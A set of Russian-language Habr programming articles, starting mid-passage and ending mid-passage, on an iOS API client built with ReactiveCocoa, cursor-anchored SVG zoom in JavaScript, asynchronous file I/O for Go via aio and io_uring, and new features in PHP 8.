То есть, получая объект `Player`, мы можем получить как полный JSON-граф, так и частичный. Первая и очевидная часть решения заключается в том, что если передаются поля в ключе `fields`, в ответе из библиотеки мы получаем нетипизированные `NSDictionary`.
На этом можно было бы и остановиться, но все-таки удобнее было бы работать с типизированными объектами. А так как парсинг у нас полностью лежит внутри библиотеки, то и типизацию частичных ответов логично было бы делать там же.
Для маппинга `JSON -> NSObject` у нас используется `Mantle`, и имплементация запроса к API в общем случае выглядит так (про `RACSignal` и публичный API в целом я расскажу чуть позже):
```
- (RACSignal *)searchPlayers:(NSString *)query limit:(NSUInteger)limit {
NSMutableDictionary *parameters = [NSMutableDictionary dictionary];
parameters[@"search"] = query;
if (limit) parameters[@"limit"] = @(limit);
return [self getPath:@"account/list"
parameters:parameters
resultClass:WOTSearchPlayer.class];
}
```
Как видим, у нас есть уже есть параметр `resultClass`, так почему же не вынести его в сигнатуру метода? Получаем:
```
- (RACSignal *)searchPlayers:(NSString *)query limit:(NSUInteger)limit resultClass:(Class)resultClass
```
Да, у нас раздувается публичный API, но зато теперь мы имеем способ типизировать объекты на стороне библиотеки.
#### Удобный способ для обработки цепочек запросов
Часто при работе с API мы сталкивались с вариантом использования, когда существовал как минимум один вложенный запрос и результатом операции являлась комбинация ответов двух запросов: например, получаем список пользователей, а затем дополнительно вытягиваем "неполный" список техники для каждого. (Иногда таких запросов бывает три).
Все представляют, как выглядит использование трех вложенных блоков (псевдокод на основе `AFJSONRequestOperation`):
```
op1 = [AFJSONRequestOperation JSONRequestOperationWithRequest:nil
success:^(id JSON) {
op2 = [AFJSONRequestOperation JSONRequestOperationWithRequest:nil
success:^(id JSON) {
op3 = [AFJSONRequestOperation JSONRequestOperationWithRequest:nil
success:^(id JSON) {
// Combine all the responses and return
} failure:^(NSError *error) {
// Handle error
}];
} failure:^(NSError *error) {
// Handle error
}];
} failure:^(NSError *error) {
// Handle error
}];
```
Мало того, что растет уровень вложенности, так еще и обработать ошибку в одном месте будет сложно. В тот момент я как раз играл с `ReactiveCocoa` и подумал, что неплохо бы ее попробовать в продакшене.
Публичное API библиотеки выглядит следующим образом:
```
- (RACSignal *)searchPlayers:(NSString *)query limit:(NSUInteger)limit;
- (RACSignal *)fetchPlayers:(NSArray *)playerIDs;
```
`RACSignal` — юнит работы, который лениво выполняется только в том случае, когда его об этом просят. Так как юниты — это просто представление некой работы в будущем, их можно всячески комбинировать. Ниже приведен абстрактный пример склейки трех запросов и получения ответа/обработки ошибки:
```
RACSignal *fetchPlayersAndRatings =
[[[[API searchPlayers:@"" limit:0]
flattenMap:^RACStream *(id players) {
// skipping data processing
return [API fetchPlayers:@[]];
}]
flattenMap:^RACStream *(id fullPlayers) {
// Skipping data processing
return [API statsSliceForPlayer:nil hoursAgo:@[] fields:nil];
}]
flattenMap:^RACStream *(id value) {
// Compose all responses here
id composedResponse;
return [RACSignal return:composedResponse];
}];
[fetchPlayersAndRatings subscribeNext:^(id x) {
// Fully composed response
} error:^(NSError *error) {
// All erros go to one place
}];
```
Использовать `ReactiveCocoa` или нет — само по себе является большим холиваром, так что оставим его за скобками. Если бы мы не использовали библиотеку в приложениях, вполне могли бы обойтись более легковесными библиотеками для Promises и Futures.
#### Удобный способ интеграции в приложения
Библиотека на данный момент состоит из трех частей:
* Core (формирование запросов, парсинг);
* WOT (методы по работе с World of Tanks–эндпоинтами);
* WOWP (методы по работе с World of Warplanes–эндпоинтами)
Логично предположить, что код библиотеки хотелось бы хранить в одном месте, а вот встраивать в приложения — частями. Естественно, с самого начала (когда еще не было самолетов) мы поддерживали интеграцию через приватный репозиторий [CocoaPods](http://cocoapods.org), так что разделение не составило большого труда.
Мы использовали фичу под названием `subspecs`, которая позволяет разделить код библиотеки на три части:
```
# Subspecs
s.subspec 'Core' do |cs|
cs.source_files = 'WGNAPIClient/Core/**/*.{h,m}'
end
s.subspec 'WOT' do |cs|
cs.dependency 'WGNAPIClient/Core'
cs.source_files = 'WGNAPIClient/WOT/**/*.{h,m}'
end
s.subspec 'WOWP' do |cs|
cs.dependency 'WGNAPIClient/Core'
cs.source_files = 'WGNAPIClient/WOWP/**/*.{h,m}'
end
```
Теперь можно использовать "танковую" и "самолетную" части отдельно, развивая библиотеку в рамках одного проекта:
```
pod 'WGNAPIClient/WOT'
pod 'WGNAPIClient/WOWP'
```
#### Максимальное покрытие кода тестами
Я уже немного писал на Хабре про [тестирование](http://habrahabr.ru/post/164073/) и [анализ покрытия кода тестами](http://habrahabr.ru/post/150438/). Частично эти наработки были использованы при тестировании библиотеки.
Покрыть тестами код библиотеки оказалось делом весьма тривиальным (98%).
Большинство тестовых сценариев можно условно поделить на два вида:
* интеграционное тестирование запроса;
* тестирования маппинга объекта модели.
##### Интеграционное тестирование
Код типичного теста представлен ниже:
```
context(@"API works with players data", ^{
it (@"should search players", ^{
stubResponse(@"/wot/account/list", @"players-search.json");
RACSignal *searchRequest = [client searchPlayers:@"garnett" limit:0];
NSArray *response = [searchRequest asynchronousFirstOrDefault:nil success:NULL error:&error];
[[error should] beNil];
[[response should] beKindOfClass:NSArray.class];
[[response.lastObject should] beKindOfClass:WOTSearchPlayer.class];
WOTSearchPlayer *player = response[0];
[[player.ID should] equal:@"1785514"];
});
});
```
Замечу, что никаких плясок с асинхронностью/семафорами нет, так как у `RACSignal` есть замечательный метод специально для тестирования, который делает всю черную работу за программиста:
```
(id)asynchronousFirstOrDefault:(id)defaultValue success:(BOOL *)success error:(NSError **)error;
```
##### Тест модели
```
describe(@"WOTRatingType", ^{
it(@"should parse json to model object", ^{
NSDictionary *json = @{
@"threshold": @5,
@"type": @"1",
@"rank_fields": @[
@"xp_amount_rank",
@"xp_max_rank",
@"battles_count_rank",
@"spotted_count_rank",
@"damage_dealt_rank",
]
};
NSError *error;
WOTRatingType *ratingType = [MTLJSONAdapter modelOfClass:WOTRatingType.class
fromJSONDictionary:json
error:&error];
[[error should] beNil];
[[ratingType should] beKindOfClass:WOTRatingType.class];
[[json[@"threshold"] should] equal:theValue(ratingType.threshold)]; *
[[json[@"type"] should] equal:ratingType.type];
[[ratingType.rankFields shouldNot] beNil];
[[ratingType.rankFields should] beKindOfClass:NSArray.class];
[[ratingType.rankFields should] haveCountOf:5];
[[@"maximumXP" should] equal:ratingType.rankFields[1]];
});
});
```
* — в тестах используется Йода-нотация из-за неприятного бага в Kiwi, который не указывает строку с ошибкой, если значение переменной равно `nil`.
Воркфлоу при добавлении нового запроса в API состоит из двух шагов:
1. написать маппинги и запрос;
2. Написать два теста.
В подходе, приведенном выше, есть один весьма очевидный и нетестируемый участок: составление query для http-запроса.`Тикет заведен`
#### Заключение
Работая над этой библиотекой, я очень плотно познакомился с `ReactiveCocoa`, и это в некоторой степени изменило мою жизнь (но это совсем другая история). Объем написанного кода (всей библиотеки) составляет около 2k LOC (из которых ~1k - маппинги ответов, а еще ~700 - повторяющийся код для описания эндпоинтов), что в очередной раз демонстрирует: не следует бояться сторонних решений и фрэймворков — при разумном их использовании они значительно упрощают жизнь разработчика.` | https://habr.com/ru/post/232037/ | null | ru | null |
# JavaScript: Zoom как в картах для SVG/HTML
Рис 1. Zoom в редакторе блок-схем dgrm.net[dgrm.net](https://dgrm.net/) | [GitHub](https://github.com/AlexeyBoiko/DgrmJS)
Как сделан zoom в редакторе блок-схем [dgrm.net](https://dgrm.net/).
Zoom-ить можно:
* колесиком мышки,
* touchpad-ом
* и двумя пальцами на телефонах и планшетах.
Готовая функция zoom-а SVG для ваших проектов прилагается. Для HTML можно переделать.
Алгоритм zoom-а
---------------
В SVG и HTML есть масштабирование. [Масштабирование в HTML](https://developer.mozilla.org/en-US/docs/Web/CSS/transform-function/scale).
Только менять масштаб не достаточно. Изображение будет уезжать.
При увеличении круг в центре экрана съезжает вниз вправо.
Рис 2. Не правильно: при увеличении круг в центре экрана съезжает вниз вправо.Рис 3. При увеличении круг в центре экрана съезжает вниз вправо - схема.Черный прямоугольник это экран. Синий это увеличенное изображение. Увеличенный круг находится в центре увеличенного изображения, но съехал относительно экрана.
Нужно увеличивать и сдвигать, тогда центр изображения не уедет.
Рис 4. Увеличиваем и сдвигаем вверх влево. Круг остается в центре экрана.На рисунке 4 центр изображения не съезжает. Но карты работают не так. Карты зумятся не в центр. Карты зумятся относительно курсора. Место, куда указывает курсор, не сдвигается относительно экрана.
Здание в центре карты уезжает вниз. Оно выделено красным. Здание под курсором остается на месте. Выделено синим.
Рис 5. Карта зумятся не в центр, а относительно курсора.
Место, куда указывает курсор, не сдвигается относительно экрана.Функция зума должна сдвигать изображение так, чтобы точка под курсором оставалась на месте.
```
/**
* @param {SVGGraphicsElement} svgEl
* @param {Point} fixedPoint this point will not change position while scale
* @param {number} scale
* @param {number} nextScale
*/
export function svgScale(svgEl, fixedPoint, scale, nextScale) {
const position = svgPositionGet(svgEl);
svgPositionSet(svgEl, {
x: nextScale / scale * (position.x - fixedPoint.x) + fixedPoint.x,
y: nextScale / scale * (position.y - fixedPoint.y) + fixedPoint.y
});
ensureTransform(svgEl, SVGTransform.SVG_TRANSFORM_SCALE)
.setScale(nextScale, nextScale);
}
```
*Листинг 1. Функция зума. Сдвигает изображение так, что fixedPoint остается на месте.
Вспомогательные функции svgPositionGet, svgPositionSet, ensureTransform смотрите на* [*GitHub*](https://github.com/AlexeyBoiko/DgrmJS/blob/main/src/diagram/infrastructure/svg-utils.js)*.*
Zoom колесиком мышки и touchpad-ом
----------------------------------
Подписываемся на событие колесика мышки “wheel”. Для щипка двумя пальцами на touchpad отдельного события нет. Щипок использует это же событие “wheel”.
Для колесика масштаб изменяется с шагом 0.25, а для touchpad 0.05. Значения подобраны так чтобы:
* колесико мышки не нужно было долго крутить,
* а на touchpad изображение не скакало.
```
// 'svg' is type of {SVGSVGElement}
let scale = 1;
// mouse wheel, trackpad pitch
svg.addEventListener('wheel', /** @param {WheelEvent} evt */ evt => {
evt.preventDefault();
// calc nextScale
const delta = evt.deltaY || evt.deltaX;
const scaleStep = Math.abs(delta) < 50
? 0.05 // touchpad pitch
: 0.25; // mouse wheel
const scaleDelta = delta < 0 ? scaleStep : -scaleStep;
const nextScale = scale + scaleDelta; // 'scale' is previous scale
// calc fixedPoint
const fixedPoint = { x: evt.clientX, y: evt.clientY };
// scale
// 'svgEl' is element to scale
svgScale(svgEl, fixedPoint, scale, nextScale);
scale = nextScale;
});
```
*Листинг 2. Подписываемся на событие колесика мышки. Щипок touchpad запускает это же событие. Полный код смотрите на* [*GitHub*](https://github.com/AlexeyBoiko/DgrmJS/blob/main/src/diagram-extensions/scale-feature.js)*.*
Zoom двумя пальцам на телефонах и планшетах
-------------------------------------------
Для zoom-а пальцами фиксированная точка - это точка посередине между пальцами. Изменение масштаба зависит от изменения расстояния между пальцами.
Еще нужно учитывать что изображение можно одновременно зумить и двигать.
```
// calc nextScale
// distance between fingers
const distanceNew = Math.hypot(
firstFinger.x - secondFinger.x,
firstFinger.y - secondFinger.y);
// 'distance' is previous distance between fingers
// 'scale' is previous scale
const nextScale = scale / distance * distanceNew;
// calc fixedPoint
const fixedPoint = {
x: (firstFinger.x + secondFinger.x) / 2,
y: (firstFinger.y + secondFinger.y) / 2
};
// scale
// 'svgEl' is element to scale
svgScale(svgEl, fixedPoint, scale, nextScale);
// don't forget to also move the canvas behind your fingers
```
*Листинг 3. При zoom-е пальцами фиксированная точка это точка посередине между пальцами. Изменение масштаба зависит от изменения расстояния между пальцами. Полный код смотрите на* [*GitHub*](https://github.com/AlexeyBoiko/DgrmJS/blob/main/src/diagram-extensions/scale-feature.js)*.*
Другие статьи про dgrm.net
--------------------------
* [JavaScript редактор SVG диаграмм который весит в 6,5 раз меньше bootstrap (библиотека с открытым исходным кодом)](https://habr.com/ru/post/648759/)
* [JavaScript редактор диаграмм, который открывает диаграммы из PNG картинок (open source)](https://habr.com/ru/post/658109/)
* [JavaScript редактор текста для SVG](https://habr.com/ru/post/662335/)
* [UI редактора блок-схем](https://habr.com/ru/post/672694/)
Как поддержать проект
---------------------
* Начните использовать, расскажите что думаете.
Любым способом: комментарии, личные сообщения, на [GitHub](https://github.com/AlexeyBoiko/DgrmJS).
Все читаю, веду список предложений.
* Расскажите знакомым.
* Ставьте звездочки на [GitHub](https://github.com/AlexeyBoiko/DgrmJS). | https://habr.com/ru/post/696266/ | null | ru | null |
# Делаем асинхронность асинхронной, разбираемся в планировщике Go, ругаем Linux
В айтишном мире есть две весьма обсуждаемые темы:
1. Что является главным недостатком в Go;
2. Linux vs <что угодно>;
В этой статье я попробую затронуть сразу обе, а также предложить решение проблемы, которая касается первой темы.
Предполагаю, что читатель слышал про netpoller и общий принцип планирования горутин.
Главный недостаток в Go
-----------------------
Кто-то считает, что главным недостатком является обработка ошибок, а кто-то видит в нем отсутствие дженериков. Я же полагаю, что главный недостаток Go - это его рантайм. Рантайм у Go большой, но далее я буду подразумевать три вещи: планировщик горутин, сборщик мусора и netpoller. Мне не нравится, что у меня нет способов настраивать и тюнить их, даже если я на 100% уверен в необходимости этих настроек. Еще меньше мне нравятся некоторые особенности реализации оных в Go.
Далее статья будет в основном про первый механизм - планировщик горутин.
С чего все началось
-------------------
Проблема была обнаружена при нагрузочном тестировании [медиа-сервера](http://oja.ai), который пишется на Go. Медиа-сервера делают много полезных вещей, среди которых есть ремуксирование мультимедиа-потоков, например, когда поток публикуется по протоколу RTMP, а плеер хочет смотреть его по протоколу HLS. В этом случае бэкенд конвертирует входящие RTMP пакеты в пакеты Mpegts/fMP4 и записывает их в файл, который затем будет раздаваться по обычному HTTP. Там есть еще много особенностей работы, но сейчас нас интересует конкретно работа с файлами.
Тесты были простые: несколько сотен входящих RTMP-потоков и несколько тысяч клиентов, которые подключаются к этим потокам по HLS. То есть несколько сотен входящих клиентов постоянно писали данные в файлы, которые затем раздавались по HTTP. Все это было развернуто на свежем CentOS, и все было в порядке, но почему-то через десять минут htop показал, что сервер, который изначально был запущен с GOMAXPROCS=16, создал 92(!) потока. Конечно, производительность сразу снизилась, а клиенты стали падать с ошибками.
Кто виноват?
------------
Виноват рантайм. Все оказалось довольно просто: планировщик горутин умеет работать только в пространстве самого Go. То есть он понимает какая горутина блокирована на канале, на мьютексе или waitGroup, какую пора приостановить, а какую запустить. Однако чистые горутины в вакууме мало чем полезны: бОльшую часть времени программа все-таки общается с внешним миром и с ОС через системные вызовы.
Рассмотрим операции ввода-вывода. Если горутина читает или пишет в файл, то она должна вызвать системный вызов read или write. В Go есть два вида обработчиков системных вызовов:
Отличия между ними состоят в том, что RawSyscall - это нативные вызовы, вроде того, что происходит, например, в Си. А просто Syscall - это еще и вызов двух функций: entersyscall и exitsyscall. Что они делают? Первая говорит планировщику, что сейчас будет осуществлен системный вызов, но планировщик не знает сколько он будет продолжаться. Если долго - все горутины в очереди на данном контексте планировщика будут заблокированы, пока ОС не отдаст нам результат. Поэтому планировщик пытается найти свободный системный поток, на который перебросит горутину, которая осуществляет этот системный вызов. А если свободного потока нету - создает его. Так что если в программе есть активная работа с долгими системными вызовами - вы получаете неконтролируемое создание системных потоков, даже если они вам совсем не нужны. Вторая функция, очевидно, говорит что системный вызов закончился, и горутину можно вернуть обратно в контекст Go. При этом новый поток, если он был создан, не завершается, а остается висеть.
По этим причинам несколько сотен входящих мультимедиа-стримов, которые регулярно вызывали системный вызов write на файлах, создали мне 76 лишних системных потоков.
Вы спросите, а как же тогда работают сокеты? Там ведь тоже происходят системные вызовы. С сокетами есть хитрость: там используется netpoller и RawSyscall, то есть системный вызов дергается без участия рантайма. Если сокет не готов для I/O, то netpoller заблокирует горутину, но не даст заблокироваться текущему системному потоку через epoll/kqueue. [Unix-интерфейсы неблокирующего I/O можно использовать для сокетов - но не для файлов](https://github.com/golang/go/blob/dev.boringcrypto.go1.16/src/os/file_unix.go#L150)
Что делать?
-----------
Просмотр документации и исходников некоторых проектов, которые должны более-менее активно работать с дисковым I/O, привел к неутешительному выводу: все они различным образом используют пул потоков, в который отправляют работу с файловым вводом-выводом. Подопытными были [nginx](https://www.nginx.com/blog/thread-pools-boost-performance-9x), [libtorrent](https://blog.libtorrent.org/2012/10/asynchronous-disk-io) и [libuv](http://docs.libuv.org/en/v1.x/design.html#file-i-o).
Мы не можем делать пул потоков, так как нам это ничего не даст: все равно возникнет блокировка на системных вызовах, да и время будет тратиться на переброс контекста выполнения между тредами и обратно. Я попытался сделать что-то вроде локальной очереди задач, в которую отправляются таски на запись, и пул горутин, который расхватывает эти таски, но при маленьком размере пула очередь очень быстро забивалась, а при большом опять создавались лишние системные потоки. При не очень большом, кстати, тоже создавались. Уж не знаю, какая там хитрая логика в планировщике, но решение с очередью задач не подошло.
Нужно другое: перенести асинхронщину из приложения в ядро. Не нужно никаких дополнительных горутин, пулов и очередей - нужен простой интерфейс, куда можно быстро отправить файловый дескриптор, указатель на массив и забыть о нем, а ОС пусть сама делает всю работу.
Медиа-сервер тестировался на Windows, Linux, Macos, Android и FreeBSD. Давайте посмотрим, что эти операционные системы могут предложить.
* **Windows**
Windows полностью реализует ядерную асинхронность. Тут весьма приятный и простой интерфейс: надо всего лишь открыть файл с флагом FILE\_FLAG\_OVERLAPPED, а в последнем аргументе read/write передать указатель на структуру OVERLAPPED, в которой указаны необходимые аргументы: сдвиги, размер буфера и прочее.
* **FreeBSD, (MacOS)**
Есть интерфейс, который называется aio. Используя его, можно асинхронно выполнять операции дискового I/O.
К сожалению, он глубоко спрятан в недрах сишного кода, то есть я не могу просто дернуть из Go системный вызов с нужными мне аргументами. Поэтому в версии для BSD используется cgo. Это тоже накладывает ограничения, так как cgo вызывается так же, как и блокирующие системные вызовы - в отдельном потоке. К счастью, работа с aio там очень быстрая, и управление почти сразу возвращается обратно в гошный код.
MacOS в скобках, потому что это не серверная ОС. aio там присутствует, но вместе с aio идет огромное количество граблей.
* **Linux, Android**
В ядро Linux версии 2.6 тоже был добавлен aio. Но он был настолько плохой, что, например, nginx использовал вместо него пул потоков. Основное ограничение - это необходимость использовать флаг O\_DIRECT при открытии файла, который требует выравнивания по памяти буферов с данными и отключает кэш страниц при работе с диском. Использовать такой aio можно, но не очень удобно.
В 2019 году произошло великое событие: инженеры из Facebook написали новый механизм асинхронной работы с дисковым IO, который получил название io\_uring. Он был добавлен в ядро версии 5.1. Вполне неплохо - Linux 2019 года уже может полноценно работать с файлами.
io\_uring достаточно прост: по большому счету это два кольцевых буфера, которые сммаплены в юзер-спейс. Первый буфер нужен для отправки запросов на IO операции и называется SQ. Второй - для приема результатов и называется CQ. Нам достаточно отправлять и принимать объекты из этих кольцевых буферов, причем делать это можно напрямую из Go.
Реализация
----------
Раз у нас есть все необходимые интерфейсы для асинхронной работы с файлами, мы можем написать небольшую библиотеку, которая позволит нам использовать эти интерфейсы из Go. Плюс ко всему неплохо было бы сохранить возможность синхронной работы, причем без необходимости переключаться на новый поток. API желательно оставить похожим на стандартный.
Нам достаточно реализовать необходимые структуры данных и правильно работать с системными вызовами, которые будут оперировать объектами этих структур. Небольшую сложность вызывает лишь работа со встроенными гошными объектами, которые не могут напрямую работать с системными вызовами. Например, для вызова функции чтения или записи необходимо достать из слайса байтовый массив, а для заполнения результата - превратить массив обратно в слайс.
Первая операция делается достаточно просто, так как нам достаточно просто взять адрес:
```
var mySlice []uint8
var byteArray *uint8 = &mySlice[0]
```
Превращение байтового массива обратно в слайс немного сложнее:
```
var b []uint8
hdr := (*reflect.SliceHeader)(unsafe.Pointer(&b))
hdr.Data = uintptr(unsafe.Pointer(byteArray))
hdr.Len = int(sliceLen)
hdr.Cap = int(sliceCap)
return b
```
Чтобы у нас была возможность восстановить емкость слайса, ее необходимо где-то заранее сохранить. Для этого мы можем воспользоваться либо служебными полями в структурах, работающих напрямую с системными вызовами, либо как-то сохранять заранее на уровне приложения. Библиотека использует оба подхода в зависимости от доступного интерфейса. Длину слайса можно восстановить из количества обработанных байт на этапе обработки результатов.
На низком уровне все закончено: аккуратно реализовали структуры, создаем их объекты и отправляем их в системные вызовы, затем дожидаемся окончания операции и восстанавливаем гошные объекты из результатов.
Возникает более высокоуровневый вопрос: каким образом нам дожидаться окончания этих операций? Конечно, идеальным решением была бы асинхронная нотификация, например, через сигналы. К сожалению, из-за реализации aio в Linux этот вариант затруднителен или невозможен, поэтому первая версия библиотеки не имеет нотификаций, а результаты получает путем опроса о готовности. Пользователю необходимо вызывать метод LastOp() (int, bool, error), который вернет количество прочитанных или записанных байт, флаг, обозначающий закончилась ли последняя асинхронная операция, и ошибку, если она есть. Под капотом эта функция проверяет, не заполнились ли еще результаты последней асинхронной операции на данном файле, и, если нет, то выполняет системный вызов, который заполняет результаты всех законченных операций над всеми файлами. Исключением является io\_uring: там достаточно пробежаться по сммапленному кольцевому буферу CQ и забрать готовые объекты.
Заполнение результатов осуществляется сразу для всех файлов, поэтому тут возможны гонки, и нам приходится дважды лочить:
1. Непосредственно сам файл, чтобы пользователь не вызвал I/O операцию, пока выполняется предыдущая асинхронная;
2. контекст асинхронных вызовов, чтобы избежать одновременного выполнения нескольких системных вызовов для заполнения результатов или изменения индексов в CQ;
Мьютексы используются достаточно активно, однако проблема гранулярности блокировок может выявиться только при большом количестве файлов в асинхронном режиме, частых I/O операциях и очень частых проверках каждого файла на готовность результата.
API напоминает стандартное: такие же вызовы Read([]byte) и Write([]byte). Исключением является открытие файла, где необходимо указать режим работы ModeAsync, и новый метод LastOp() (int, bool, error). В принципе, библиотеку можно даже использовать в стандартных гошных интерфейсах вроде Reader, правда, где-то могут быть ошибки и/или неожиданные результаты, так как асинхронные операции чтения/записи всегда возвращают 0 в первом результате. И есть еще одно ограничение: так как линуксовый aio требует выравнивания рабочих буферов по 512 байт, то вместо обычного make([]byte, sz) надо вызывать функцию AllocBuf(sz), которая вернет слайс с нужным смещением внутреннего массива.
Синхронная работа почти ничем не отличается от стандартной, за исключением добавленной возможности выполнять операции без переключения на новый поток.
Замечания
---------
* Библиотека не работает с включенным детектором гонок. Там сразу возникает паника "fatal error: checkptr: pointer arithmetic result points to invalid allocation". Почему-то в этом случае рантайму не нравится прямая работа со структурой слайса. [Баг этот известный](https://github.com/golang/go/issues/40917), его обещали починить в Go 1.15, но не починили. Сделать мы с этим ничего не можем, потому что для системных вызовов приходится выковыривать из слайса непосредственно байтовый массив, а для заполнения результатов операций - восстанавливать слайс из массива.
* В коде используются конструкции вроде
`var x uintptr = syscall.Syscall(...)
var p unsafe.Pointer = unsafe.Pointer(x)`
Это может смутить. Опасность uintptr состоит в том, что uintptr - это просто число с точки зрения рантайма Go, даже если это число представляет собой указатель. Другими словами, если вы присвоили переменной типа uintptr адрес какого-либо объекта, и дальше по коду нет прямого обращения к этому объекту, то Go считает, что он больше не используется, и его можно удалить сборщиком мусора. Такой код опасен:
`type myStruct struct { i []int}
s := myStruct{i: []int{42}}
p := unsafe.Pointer(&s)
u := uintptr(p)
// s и p больше не используются, на объект больше нет ссылок
s1 := *((*myStruct)(unsafe.Pointer(u)))
s1.i[0] = 43 // неопределенное поведение`
go vet честно предупреждает об этом. Что мы можем с этим сделать? Скорее всего, ничего. Мы не можем гарантировать, что между преобразованием из uintptr и работой с данными не будет вызван сборщик мусора. К счастью, такие конструкции используются только при работе с mmap, и сборщик мусора ничего не сможет сделать. Адрес сммапаленной памяти будем валидным.
* aio в Linux требует выровненного размера буфера. На старых линуксах нельзя асинхронно считать/записать рандомное число байт - только кратное 512.
* Сами системные вызовы для работы с асинхронным I/O являются блокирующими и могут работать достаточно долго. Например, aio в Linux может заблокироваться если задидосить его очень частыми операциями и/или большими данными. Если попытаться записать за раз слишком много данных (вызвать Write с очень большим слайсом), то ядро может начать разбивать входящий массив на части, и будет делать это в блокирующем режиме. Если попытаться выполнить за раз больше операций, чем указано в /sys/block/.../queue/nr\_requests, то также произойдет блокировка. Вообще у aio в Linux довольно непредсказуемое поведение, которое иногда может стать синхронным. Хотя думаю, что это касается не только aio.
Асинхронный sendfile
--------------------
Проблема, из-за которой эта библиотека появилась на свет, была замечена в тестах, когда несколько сотен клиентов-паблишеров постоянно писали данные в файлы. Библиотека эту проблему решает, но остается еще одна: несколько тысяч клиентов-плееров, которые скачивают по HTTP эти файлы, могут сильно загрузить сервер операциями чтения из файла и записи в сокет.
Медиа-сервер пытается использовать sendfile если это возможно, и это работает, но сам sendfile - синхронный. Мы не тратим время на копирование данных во временной буфер, но тратим его на запись из одного дескриптора в другой. Конечно, sendfile быстрее, чем считать-записать, но все равно блокирует выполнение пока не перекинет данные. Неплохо было бы иметь асинхронный sendfile.
Но нет.
* **Windows**
Есть функция TransmitFile, которая может принимать указатель на структуру OVERLAPPED. Ее можно было бы использовать.
* **FreeBSD**
Netflix и Nginx написали [реализацию](https://www.nginx.com/blog/nginx-and-netflix-contribute-new-sendfile2-to-freebsd/) асинхронного sendfile для FreeBSD. Ее можно было бы использовать.
* **Linux**
На сегодняшний день асинхронного sendfile в Линуксе нет. Я нашел два варианта эмуляции:
1. Использовать пул потоков; (не подходит, так как у нас Go)
2. Mmap файла и использование существующих механизм асинхронного I/O; (не подходит, так как у нас может быть много (МНОГО) файлов, у которых бывает существенный размер. Ммапить каждый файл - это такое себе решение)
Скорее всего, клиенты будут использовать именно Linux, у которого асинхронного sendfile нет, так что пока библиотека тоже не поддерживает асинхронный sendfile. И это приводит нас ко второй обсуждаемой теме.
Что случилось, почему все вдруг забыли про FreeBSD - некогда самую популярную серверную ОС - и начали переходить на Linux?
Что было в Linux такого нужного, чего не было во FreeBSD? Это точно не производительность и не надежность:
* В 2007 году в рассылке Nginx обсуждалось обслуживание 100-200к соединений под FreeBSD - это на железе 2007 года;
* На FreeBSD работал (или до сих пор работает, не знаю) бэкенд Whatsapp, который обслуживал миллион клиентов;
* Netflix, который обеспечивает 15% всего мирового интернет-трафика, использует FreeBSD.
* Сервер NetWare с аптайм в 16 лет бесперебойно работал под управлением FreeBSD, пока не был погашен из-за аппаратных ошибок жесткого диска.
Я не буду сейчас останавливаться на стандартных холиварах по теме ZFS, лицензирования, целостности операционной системы, утилит, портов, документации, стабильности и качества кода. Остановлюсь только на той проблеме, с которой я столкнулся, и которую было почти невозможно решить на Linux до версии 5.1. Пусть меня испепелят апологеты Linux, но в нем до 2019 года не было полноценной работы с асинхронным дисковым I/O (то есть не было полноценной работы с дисковым I/O). Любая программа, которая более-менее плотно работала с файлами, рано или поздно проседала бы в производительности из-за блокировок. Разработчикам приходилось искать обходные пути и на уровне приложения пытаться обойти кривую реализацию в ядре.
Aio добавили ПОСЛЕ аналога в FreeBSD, epoll добавили ПОСЛЕ kqueue. Причем изначально epoll уступал по функционалу: например, в рассылке 2003 года Игорь Сысоев [пишет](https://www.opennet.ru/base/dev/kqueue_vs_epoll.txt.html) о проблемах с epoll (), а некоторые [говорят](https://www.youtube.com/watch?v=QY6ML4Owvic) о них и спустя 15 лет.
Асинхронного sendfile там до сих пор нет.
Скажем так, для разработки некоторых демонов бэкенда это не самая удобная в мире операционная система. Была. Конечно, в 2022 году Linux уже почти все умеет, а еще может в докер, оркестровку контейнеров и поддерживает целое множество железа всех сортов и расцветок. Но это в 2022, в то время как FreeBSD ушла в небытие гораздо раньше. А почему?
Пример использования и исходники библиотеки asyncfs лежат на [гитхабе](https://github.com/ojaai/asyncfs). Лицензия - BSD.
Медиа-сервер можно посмотреть на [официальном сайте](https://oja.ai). | https://habr.com/ru/post/646073/ | null | ru | null |
# PHP 8 — Что нового?
PHP, начиная с 7 версии, кардинально изменился. Код стал куда быстрее и надёжнее, и писать его стало намного приятнее. Но вот, уже релиз 8 версии! Ноябрь 26, 2020 — примерно на год раньше, чем обещали сами разработчики. И всё же, не смотря на это, мажорная версия получилась особенно удачной. В этой статье я попытаюсь выложить основные приятные изменения, которые мы должны знать.
1. JIT
------
Как говорят сами разработчики, они выжали максимум производительности в 7 версии (тем самым сделав PHP наиболее шустрым среди динамических ЯПов). Для дальнейшего ускорения, без JIT-компилятора не обойтись. Справедливости ради, стоит сказать, что для веб-приложений использование JIT не сильно улучшает скорость обработки запросов (в некоторых случаях скорость будет даже меньше, чем без него). А вот, где нужно выполнять много математических операций — там прирост скорости очень даже значительный. Например, теперь можно делать такие безумные вещи, как ИИ на PHP.
Включить JIT можно в настройках `opcache` в файле `php.ini`.
[Подробнее 1](https://habr.com/ru/company/badoo/blog/448622/) | [Подробнее 2](https://habr.com/ru/post/515216/) | [Подробнее 3](https://medium.com/jp-tech/try-out-jit-compiler-with-php-8-0-a020e6aeb3e5)
2. Аннотации/Атрибуты (Attributes)
----------------------------------
Все мы помним, как раньше на Symfony код писался на языке комментариев. Очень радует, что такое теперь прекратится, и можно будет использовать подсказки любимой IDE, функция "Find usages", и даже рефакторинг!
> Забавно, что символ `#` также можно было использовать для создания комментариев. Так что ничего не меняется в этом мире.
Было очень много споров о синтаксисе для атрибутов, но приняли Rust-like синтаксис:
```
#[ORM\Entity]
#[ORM\Table("user")]
class User
{
#[ORM\Id, ORM\Column("integer"), ORM\GeneratedValue]
private $id;
#[ORM\Column("string", ORM\Column::UNIQUE)]
#[Assert\Email(["message" => "The email '{{ value }}' is not a valid email."])]
private $email;
}
```
[Подробнее 1](https://stitcher.io/blog/attributes-in-php-8) | [Атрибуты в Symfony](https://symfony.com/blog/new-in-symfony-5-2-php-8-attributes)
3. Именованные параметры (Named Arguments)
------------------------------------------
Если вы когда-либо видели код, где есть булевы параметры, то понимаете насколько он ужасен. Ещё хуже, когда этих параметров 8 штук, 6 из которых имеют значение по умолчанию, а вам нужно изменить значение последнего параметра.
К примеру, код для использования библиотеки phpamqplib:
```
$channel->queue_declare($queue, false, true, false, false);
// ...
$channel->basic_consume($queue, '', false, false, false, false, [$this, 'consume']);
```
С использованием именованных параметров, код становится намного легче читать:
```
$channel->queue_declare($queue, durable: true, auto_delete: false);
// ...
